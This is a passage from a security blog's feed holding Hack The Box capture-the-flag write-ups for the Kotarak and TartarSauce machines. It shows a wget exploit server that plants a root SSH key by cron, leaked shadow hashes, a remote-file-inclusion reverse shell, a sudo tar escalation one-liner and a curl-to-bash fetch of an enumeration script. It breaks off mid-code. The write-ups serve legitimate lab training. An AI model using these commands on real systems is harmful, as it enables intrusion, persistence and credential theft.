&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ROOT_CRON&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;* * * * * root mkdir -p /root/.ssh; echo &amp;#39;ssh-rsa AAAAB3N...QN2DbQ==&amp;#39; &amp;gt;&amp;gt; /root/.ssh/authorized_keys &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SocketServer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TCPServer&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;HTTP_LISTEN_IP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HTTP_LISTEN_PORT&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;wgetExploit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Ready? Is your FTP server running?&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;sock&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect_ex&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;FTP_HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FTP_PORT&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;FTP found open on &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;. Let&amp;#39;s go then&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FTP_HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FTP_PORT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;FTP is down :( Exiting.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Serving wget exploit on port &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;...&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;HTTP_LISTEN_PORT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;handler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;serve_forever&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I changed the IP to 10.0.3.1 as this is the IP address of the lxcbr0 interface. I also changed what the cron job should do, which is, adding our pub-key to the authorized_keys files in the /root/.ssh directory (every minute). Apart from these changes, the code is just like it appears in the proof of concept.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 You can quickly generate your own keypair using &lt;code&gt;ssh-keygen -t rsa -b 4096&lt;/code&gt;.
&lt;/div&gt;

&lt;p&gt;Now everything is prepared and we can start the FTP and web server. As we only have one terminal, let&amp;rsquo;s background the FTP server (we will still get the output):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;authbind python -m pyftpdlib -p21 &amp;amp;
authbind python server.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On an even minute we see the &lt;code&gt;GET /archive.tar.gz&lt;/code&gt; to the web server, which is then redirected to the FTP server. The FTP server serves the &lt;code&gt;.wgetrc&lt;/code&gt; file as expected.&lt;/p&gt;
&lt;p&gt;Two minutes later, we&amp;rsquo;ll get a POST (as we modified the &lt;code&gt;.wgetrc&lt;/code&gt;) with the contents of the shadow file:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;root:*:17366:0:99999:7:::
[...]
ubuntu:$6$edpgQgfs$CcJqGkt.zKOsMx1LCTCvqXyHCzvyCy1nsEg9pq1.dCUizK/98r4bNtLueQr4ivipOiNlcpX26EqBTVD2o8w4h0:17368:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(Since we try to directly get root access via our cron, we don&amp;rsquo;t need to bother with the retrieved hash of the &lt;code&gt;ubuntu&lt;/code&gt; user for now).&lt;/p&gt;
&lt;p&gt;One minute later, our installed cron should have added our key to the authorized_keys file. We can now stop the web server (&lt;code&gt;&amp;lt;Ctrl&amp;gt;C&lt;/code&gt; and the FTP server &lt;code&gt;jobs; kill %1&lt;/code&gt;) and try logging in after waiting this one minute:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ssh -i key root@10.0.3.133
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It works, and we are root in the container:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;root@kotarak-int:~# id
uid=0(root) gid=0(root) groups=0(root)
root@kotarak-int:~# hostname
kotarak-int
root@kotarak-int:~# cat /proc/1/environ
container=lxccontainer_ttys=/dev/pts/0 /dev/pts/1 /dev/pts/2 /dev/pts/3
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To not endlessly continue to append our key to the authorized_keys file, we can remove the cron job again: &lt;code&gt;rm /etc/cron.d/wget-root-shell&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Cheers!&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 &lt;strong&gt;More goodness:&lt;/strong&gt; There&amp;rsquo;s a fun unintentional way to get to the root flag. Checkout the &lt;a href="https://www.youtube.com/watch?v=38e-sxPWiuY&amp;amp;t=2410s"&gt;ippsec video&lt;/a&gt; for this box.
&lt;/div&gt;
</description></item><item><title>Hack the Box Write-up #5: TartarSauce</title><link>https://davidhamann.de/2020/02/10/htb-writeup-tartarsauce/</link><pubDate>Mon, 10 Feb 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/02/10/htb-writeup-tartarsauce/</guid><description>&lt;p&gt;In this write-up we&amp;rsquo;re looking at solving the retired machine &amp;ldquo;TartarSauce&amp;rdquo; from &lt;a href="https://www.hackthebox.eu%22"&gt;Hack The Box&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;After spending some time on the hosted web applications, we&amp;rsquo;ll eventually get the first foothold via an outdated Wordpress plugin. From there we can upgrade to a user shell by abusing the &lt;code&gt;tar&lt;/code&gt; command. Eventually, we get root by abusing &lt;code&gt;tar&lt;/code&gt; once more, but this time as part of a backup script and in a bit more involved way.&lt;/p&gt;
&lt;h2 id="recon-and-enumeration"&gt;Recon and Enumeration&lt;/h2&gt;
&lt;p&gt;As usual, we run our initial nmap scan &lt;code&gt;nmap -sV -sC -oN nmap/init 10.10.10.88&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 5 disallowed entries 
| /webservices/tar/tar/source/ 
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/ 
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Landing Page
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While only getting back one open port, the listed entries in the robots.txt file do look promising.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 Note that entries in the robots.txt file don&amp;rsquo;t &amp;ldquo;hide&amp;rdquo; pages/directories. While they indicate to crawlers what you want and don&amp;rsquo;t want to have indexed, they are a) only an advisory and not a technically imposed rule, and b) can give an attacker a first idea of what you don&amp;rsquo;t want exposed or have removed from public search engines.
&lt;/div&gt;

&lt;p&gt;Let&amp;rsquo;s start by visiting the root path of 10.10.10.88:&lt;/p&gt;
&lt;p&gt;&lt;img alt="tartarsauce index" loading="lazy" src="https://davidhamann.de/images/tartarsauce-index.png"&gt;&lt;/p&gt;
&lt;p&gt;Nothing interesting to see here except some ascii art and a little troll at the end of the page source after hundreds of line feeds: &lt;code&gt;&amp;lt;!--Carry on, nothing to see here :D--&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Let&amp;rsquo;s start a directory brute-force of &lt;code&gt;/&lt;/code&gt; and &lt;code&gt;/webservices&lt;/code&gt; while going through the list of disallowed robots.txt entries:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.88/webservices&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Out of the five paths listed in robots.txt, only &lt;code&gt;/webservices/monstra-3.0.4/&lt;/code&gt; is available.&lt;/p&gt;
&lt;p&gt;&lt;img alt="tartarsauce monstra" loading="lazy" src="https://davidhamann.de/images/tartarsauce-monstra.png"&gt;&lt;/p&gt;
&lt;p&gt;Monstra is a Content Management System written in PHP, apparently not further developed anymore and the version it displays has several known security vulnerabilities. Doing a &lt;code&gt;searchsploit monstra&lt;/code&gt; in Kali shows &lt;em&gt;(Authenticated) Arbitrary File Upload / Remote Code Execution&lt;/em&gt; as the most promising weakness related to this version.&lt;/p&gt;
&lt;p&gt;As it requires prior authentication, let&amp;rsquo;s go over to &lt;code&gt;http://10.10.10.88/webservices/monstra-3.0.4/admin/&lt;/code&gt; and attempt a login with common credentials.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;admin&lt;/code&gt; and &lt;code&gt;admin&lt;/code&gt; as user/password works right off the bat and we&amp;rsquo;re inside the admin interface.&lt;/p&gt;
&lt;p&gt;Examining the potential exploit (&lt;code&gt;searchsploit -x 43348&lt;/code&gt;), it looks like a simple file upload could give us remote code execution via PHP. Trying it out, however, we quickly find the upload functionality does not work for any file, and we can see that doing any kind of modification in the admin panel leads to errors as well (e.g. modifying a template).&lt;/p&gt;
&lt;p&gt;The vulnerability does not seem to be exploitable, even though in theory it should be. I like this, because it reflects a very common situation in real life, where vulnerabilities exist, but cannot be exploited due to the presence of certain configurations or just lucky circumstances.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;But, looking at the gobuster results from the directory brute-force started earlier, we have found another promising candidate: &lt;code&gt;/webservices/wp&lt;/code&gt;. It shows a rather empty wordpress installation, but as abandoned software often that lets you in, let&amp;rsquo;s start enumerating it.&lt;/p&gt;
&lt;p&gt;&lt;img alt="tartarsauce wordpress" loading="lazy" src="https://davidhamann.de/images/tartarsauce-wordpress.png"&gt;&lt;/p&gt;
&lt;p&gt;Having a look at Wordpress&amp;rsquo; default directories, we see that browsing them is a bit tedious as it seems the base url of the site is misconfigured (missing a slash after &lt;code&gt;http:/&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img alt="tartarsauce wordpress 404" loading="lazy" src="https://davidhamann.de/images/tartarsauce-wordpress-404.png"&gt;&lt;/p&gt;
&lt;p&gt;While we could manually correct all HTTP requests through an intercepting proxy, there&amp;rsquo;s a nice trick to do it &lt;em&gt;automatically&lt;/em&gt; in &lt;a href="https://portswigger.net/burp"&gt;Burp&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Going to &lt;em&gt;Options&lt;/em&gt; in the &lt;em&gt;Proxy&lt;/em&gt; tab, we can add a rule under &lt;em&gt;Match and Replace&lt;/em&gt; and tell it to replace &lt;code&gt;GET /10.10.10.88/webservices&lt;/code&gt; in the request header with &lt;code&gt;GET /webservices&lt;/code&gt;. Similarly, we could do this for other methods and headers as well.&lt;/p&gt;
&lt;p&gt;&lt;img alt="tartarsauce burp match/replace" loading="lazy" src="https://davidhamann.de/images/tartarsauce-burp-match-replace.png"&gt;&lt;/p&gt;
&lt;p&gt;Now we can browse the site regularly through the Burp proxy.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Unfortunately, we&amp;rsquo;re not lucky with weak credentials this time, and even notice a delay in processing the login requests to prevent brute-forcing.&lt;/p&gt;
&lt;p&gt;As Wordpress security is often compromised using third-party plugins, let&amp;rsquo;s have a look at &lt;a href="https://github.com/wpscanteam/wpscan"&gt;WPScan&lt;/a&gt; to enumerate plugins:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wpscan --url http://10.10.10.88/webservices/wp -e ap --plugins-detection aggressive&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;(Using aggressive detection as passive/mixed did not yield results)&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[i] Plugin(s) Identified:

[+] akismet
 | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/
 | Last Updated: 2019-11-13T20:46:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
 | [!] The version is out of date, the latest version is 4.1.3
 |
 | Found By: Known Locations (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/, status: 200
 |
 | Version: 4.0.3 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt

[+] brute-force-login-protection
 | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/
 | Latest Version: 1.5.3 (up to date)
 | Last Updated: 2017-06-29T10:39:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt
 |
 | Found By: Known Locations (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/, status: 403
 |
 | Version: 1.5.3 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt

[+] gwolle-gb
 | Location: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/
 | Last Updated: 2019-10-25T15:26:00.000Z
 | Readme: http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 | [!] The version is out of date, the latest version is 3.1.7
 |
 | Found By: Known Locations (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200
 |
 | Version: 2.3.10 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 | - http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Going through these and researching past vulnerabilities, we find a potential &lt;a href="https://www.exploit-db.com/exploits/38861"&gt;Remote File Inclusion vulnerability in gwolle-gb&lt;/a&gt;, albeit for a different version.&lt;/p&gt;
&lt;p&gt;As it&amp;rsquo;s a very easy exploit, let&amp;rsquo;s try it anyway.&lt;/p&gt;
&lt;h2 id="first-shell"&gt;First shell&lt;/h2&gt;
&lt;p&gt;We create a file &lt;code&gt;wp-load.php&lt;/code&gt; in a directory on our machine and add code for a PHP reverse shell. I chose the shell from &lt;a href="https://github.com/danielmiessler/SecLists"&gt;SecLists&lt;/a&gt;, present at &lt;code&gt;seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After changing the IP to our own and port to one of choice, we can launch a webserver from the directory of our &lt;code&gt;wp-load.php&lt;/code&gt; file (&lt;code&gt;python3 -m http.server 80&lt;/code&gt;), spin up a netcat listener (&lt;code&gt;nc -lvnp &amp;lt;port&amp;gt;&lt;/code&gt;), and then navigate to &lt;code&gt;http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://&amp;lt;our IP&amp;gt;/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It works and we get our first shell as &lt;code&gt;www-data&lt;/code&gt;. The version information in the readme.txt that WPScan read was thus false information.&lt;/p&gt;
&lt;h2 id="privilege-escalation-to-user"&gt;Privilege escalation to user&lt;/h2&gt;
&lt;p&gt;To get a nicer shell, let&amp;rsquo;s quickly do a &lt;code&gt;python3 -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt; followed by backgrounding, &lt;code&gt;stty raw -echo&lt;/code&gt; and foregrounding again (check the blog post &lt;a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#method-3-upgrading-from-netcat-with-magic"&gt;&amp;ldquo;Upgrading Simple Shells to Fully Interactive TTYs&amp;rdquo;&lt;/a&gt; at blog.ropnop.com for details about this trick).&lt;/p&gt;
&lt;p&gt;One of the first things to check once we get an initial foothold is – amongst other things – see if we can execute commands as another user. In this case, we can:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;www-data@TartarSauce:/$ sudo -l
Matching Defaults entries for www-data on TartarSauce:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on TartarSauce:
 (onuma) NOPASSWD: /bin/tar
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Being able to run &lt;code&gt;tar&lt;/code&gt; as the user &lt;code&gt;onuma&lt;/code&gt; probably means we can easily escalate to that user:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ sudo -u onuma /bin/tar xf /dev/null -I &amp;#39;/bin/sh -c &amp;#34;sh &amp;lt;&amp;amp;2 1&amp;gt;&amp;amp;2&amp;#34;&amp;#39;
$ id
uid=1000(onuma) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The reason this works is that &lt;code&gt;-I&lt;/code&gt; allows us to specify a custom compression program (&lt;code&gt;-I&lt;/code&gt; == &lt;code&gt;--use-compress-program&lt;/code&gt;). It is not the only method of abusing &lt;code&gt;tar&lt;/code&gt; for privilege escalation, though. Have a look at the &lt;a href="https://gtfobins.github.io/gtfobins/tar/"&gt;gtfobins page for tar&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="getting-root"&gt;Getting root&lt;/h2&gt;
&lt;p&gt;Having our new permission, we can run an enumeration script to get an overview of the system. We can host &lt;a href="https://github.com/rebootuser/LinEnum"&gt;LinEnum&lt;/a&gt; on our machine (e.g. &lt;code&gt;python3 -m http.server 80&lt;/code&gt;) and then load it and pipe it into bash in the &lt;code&gt;onuma&lt;/code&gt; shell:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;curl http://10.10.14.36/LinEnum.sh | bash
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Amongst other things we see a couple of files related to some kind of backup and more specifally a systemd timer:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[-] Systemd timers: 
NEXT LEFT LAST PASSED UNIT ACTIVATES 
Sun 2020-02-09 17:08:42 EST 3min 24s left Sun 2020-02-09 17:03:42 EST 1min 35s ago backuperer.timer backuperer.service 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;There are also a few other (false?) hints, e.g. a comment in &lt;code&gt;.bashrc&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# add alias so i don&amp;#39;t have to type root&amp;#39;s super long password everytime i wanna switch to root :D&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I couldn&amp;rsquo;t find any clue to these, so let&amp;rsquo;s go on with finding out more about the &lt;code&gt;backuperer.service&lt;/code&gt; and the related timer.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;systemd&lt;/em&gt; timers are a way to start services based on time, similar to &lt;code&gt;cron&lt;/code&gt;. We can find the configuration of &amp;ldquo;backuperer&amp;rdquo; in &lt;code&gt;/etc/systemd/system/multi-user.target.wants/backuperer.timer&lt;/code&gt; or &lt;code&gt;/lib/systemd/system/backuperer.timer&lt;/code&gt;, respectively.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;backuperer.timer:&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[Unit]
Description=Runs backuperer every 5 mins

[Timer]
# Time to wait after booting before we run first time
OnBootSec=5min
# Time between running each consecutive time
OnUnitActiveSec=5min
Unit=backuperer.service

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And the service &lt;strong&gt;backuperer.service&lt;/strong&gt; in &lt;code&gt;/lib/systemd/system/backuperer.service&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[Unit]
Description=Backuperer

[Service]
ExecStart=/usr/sbin/backuperer
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And, finally, the contents of &lt;code&gt;/usr/sbin/backuperer&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#!/bin/bash

# [...]

# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d&amp;#39; &amp;#39; -f1)
check=$tmpdir/check

# formatting
printbdr()
{
 for n in $(seq 72);
 do /usr/bin/printf $&amp;#34;-&amp;#34;;
 done
}
bdr=$(printbdr)

# Added a test file to let us see when the last backup was run
/usr/bin/printf $&amp;#34;$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n&amp;#34; &amp;gt; $testmsg

# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check

# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &amp;amp;

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

# Test the backup integrity
integrity_chk()
{
 /usr/bin/diff -r $basedir $check$basedir
}

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
 # Report errors so the dev can investigate the issue.
 /usr/bin/printf $&amp;#34;$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n&amp;#34; &amp;gt;&amp;gt; $errormsg
 integrity_chk &amp;gt;&amp;gt; $errormsg
 exit 2
else
 # Clean up and save archive to the bkpdir.
 /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
 /bin/rm -rf $check .*
 exit 0
fi
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can see that the script does – more or less – the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Removes dot files from &lt;code&gt;/var/tmp&lt;/code&gt;, plus the &lt;code&gt;/var/tmp/check&lt;/code&gt; folder.&lt;/li&gt;
&lt;li&gt;Zips/archives the contents of &lt;code&gt;/var/www/html&lt;/code&gt; &lt;strong&gt;as user onuma&lt;/strong&gt; into a file in &lt;code&gt;/var/tmp&lt;/code&gt; with a random name beginning with a dot.&lt;/li&gt;
&lt;li&gt;Sleeps for 30 seconds&lt;/li&gt;
&lt;li&gt;Creates the directory &lt;code&gt;/var/tmp/check&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Extracts the previously archived contents &lt;strong&gt;as root&lt;/strong&gt; into the &lt;code&gt;/var/tmp/check&lt;/code&gt; directory&lt;/li&gt;
&lt;li&gt;Performs a &lt;code&gt;diff&lt;/code&gt; against &lt;code&gt;/var/www/html&lt;/code&gt; vs. &lt;code&gt;/var/tmp/check/var/www/html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If the check in 6. reports differences, it just writes an error log, but leaves the files. If no differences are reported &lt;strong&gt;or if the diff command errors out&lt;/strong&gt; (as, for example, the directory doesn&amp;rsquo;t exit), it moves the archive file into &lt;code&gt;/var/backups&lt;/code&gt; and then removes the &lt;code&gt;/var/tmp/check&lt;/code&gt; directory and dot file.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If we are able to replace the tar gzipped file with our own malicious one in the timeframe of step 3 (sleep 30), include in our own tar.gz an executable with setuid bit set and owner root, plus leave the directory structure intact (as we want a successful diff (no error) that reports differences), &lt;code&gt;tar&lt;/code&gt; should extract (and keep permissions/attributes) and the script should not move/delete any file. After that we could then enter the check directory and execute our file to get a root shell. Let&amp;rsquo;s give it a shot:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a simple C program on our machine that will spawn a bash shell (and keep effective user id):&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
